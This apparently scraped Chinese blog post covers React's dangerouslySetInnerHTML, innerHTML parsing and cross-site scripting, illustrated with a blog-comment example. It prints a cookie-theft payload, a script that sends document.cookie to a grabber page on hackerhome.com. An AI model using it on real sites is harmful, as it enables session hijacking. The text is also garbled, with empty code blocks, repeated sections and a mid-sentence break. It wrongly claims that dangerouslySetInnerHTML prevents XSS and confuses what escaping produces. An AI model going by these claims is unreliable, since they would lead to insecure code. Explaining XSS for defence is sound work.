在React中，我们需要将服务器接口传过来的HTML文本字符串转换成DOM对象。有两种方法可以实现这个功能：
1. 使用innerHTML属性：
```javascript
function parseToDOM(str){
var div = document.createElement("div");
if(typeof str == "string")
div.innerHTML = str;
return div.childNodes;
}
```
2. 使用dangerouslySetInnerHTML属性：
```html
```
在这里，我们使用dangerouslySetInnerHTML属性将字串形式的HTML转译给render来使用。这样可以防止XSS攻击，并能将Unicode编码进行呈现。需要注意的是，通过开发工具查看时，使用dangerouslySetInnerHTML生成的DOM元素不会有data-reactid属性。在实际应用中，当制作复杂的component时，可以使用这种方法来降低render时的结构复杂度。
不合时宜地使用 innerHTML 可能会导致跨站脚本攻击(XSS)。在净化用户输入并显示时，经常会出现错误或不合适的净化，这也是导致网页攻击的原因之一。我们的设计哲学是让确保安全变得简单，开发者在执行“不安全”操作时应该清楚自己的意图。dangerouslySetInnerHTML 这个 prop 的命名是故意这么设置的，以此来警告开发者，它的 prop 值(一个对象而不是字符串)应该被用来表明净化后的数据。
将上面的代码改为如下，就可以访问了：
《让 React 正常显示你的 html 代码：dangerouslySetInnerHTML》
这么做的意义在于，{html:...} 背后的目的是表明它会被当成“type/taint”类型处理。这种包裹对象可以通过方法调用返回净化后的数据，随后这种标记过的数据可以用于 DOM 更新。注意，html 是两个下划线被传递给 dangerouslySetInnerHTML。
这个功能主要被用来与 DOM 字符串操作类库一起使用，所以提供的 HTML 必须要格式清晰(例如：传递 XML 校验)。这些解释是来自于官方说法。读完有点一头雾水，这是因为我们不了解什么是跨站脚本攻击(XSS),当你了解这个攻击的时候，其实理解起来就比较好理解一些。
什么是跨站脚本攻击(XSS)?
XSS** 示例**
在深入了解 XSS 的各个方面之前，让我们首先了解 XSS 攻击到底是怎样完成的。以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中，我们可以输入对该文章的评论，也可以输入以下 HTML 标记：
```html
```
当读者按下提交键之后，该标记将被提交到服务器上，并在其他用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为：
```html
```
React 的做法是不直接读取你的 HTML 代码，以此来避免跨站脚本攻击(XSS),让你的代码更加安全。当用户输入的内容包含潜在的恶意脚本时，浏览器会将其视为外部内容并进行转义，从而防止 XSS 攻击。
例如，当用户在评论框中输入以下内容时：
```html
```
浏览器会将其转义为：
```html
<div>
<Script>alert(“XSS attack available!”);</Script>
</div>
```
这样，恶意脚本就被转义了，不会被执行。而对于真正的图片 URL,如：
```html
```
浏览器同样会将其转义为：
```html
<script>document.write(“<img src=http://www.hackerhome.com/grabber.jsp?msg=”+document.cookie+“ width=16 height=16 border=0 />”);</script>
```
这样，恶意脚本同样会被转义，不会被执行。因此，React 的做法可以有效地防止 XSS 攻击，保护用户的安全。
cross-site scripting (XSS) 攻击是一种常见的网络安全漏洞，它允许攻击者在受害者的浏览器上执行恶意脚本。了解如何防范 XSS 攻击对于保障网站和应用程序的安全至关重要。
在实际开发中，我们经常需要将服务器接口传过来的 HTML 文本字符串转换成 DOM 对象进行操作。有以下两种方法可以实现这个功能：
1. 使用 innerHTML:
```html
这段代码展示了如何使用`dangerouslySetInnerHTML`属性来设置`
```
当读者在该文本区域中输入内容并按下提交键后，这些内容将被提交到服务器上。在其他用户访问该页面时，作为评论显示。因此，用户可能会看到包含恶意代码的文本。
在这种情况下，攻击者可以在提交的评论中插入恶意脚本，例如跨站脚本攻击(XSS)。这样一来，当其他用户访问该评论时，恶意脚本将在他们的浏览器中执行，可能导致各种安全问题。为了防止此类攻击，网站开发者需要对用户提交的内容进行过滤和验证，以确保其中不包含恶意代码。
|
1
2
3
|
从用户的角度来看，该网页中就出现了一个警告。也就是说，用户输入的脚本语言已经被用户的浏览器成功执行。当然，这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者，其所插入的脚本代码更可能如下所示：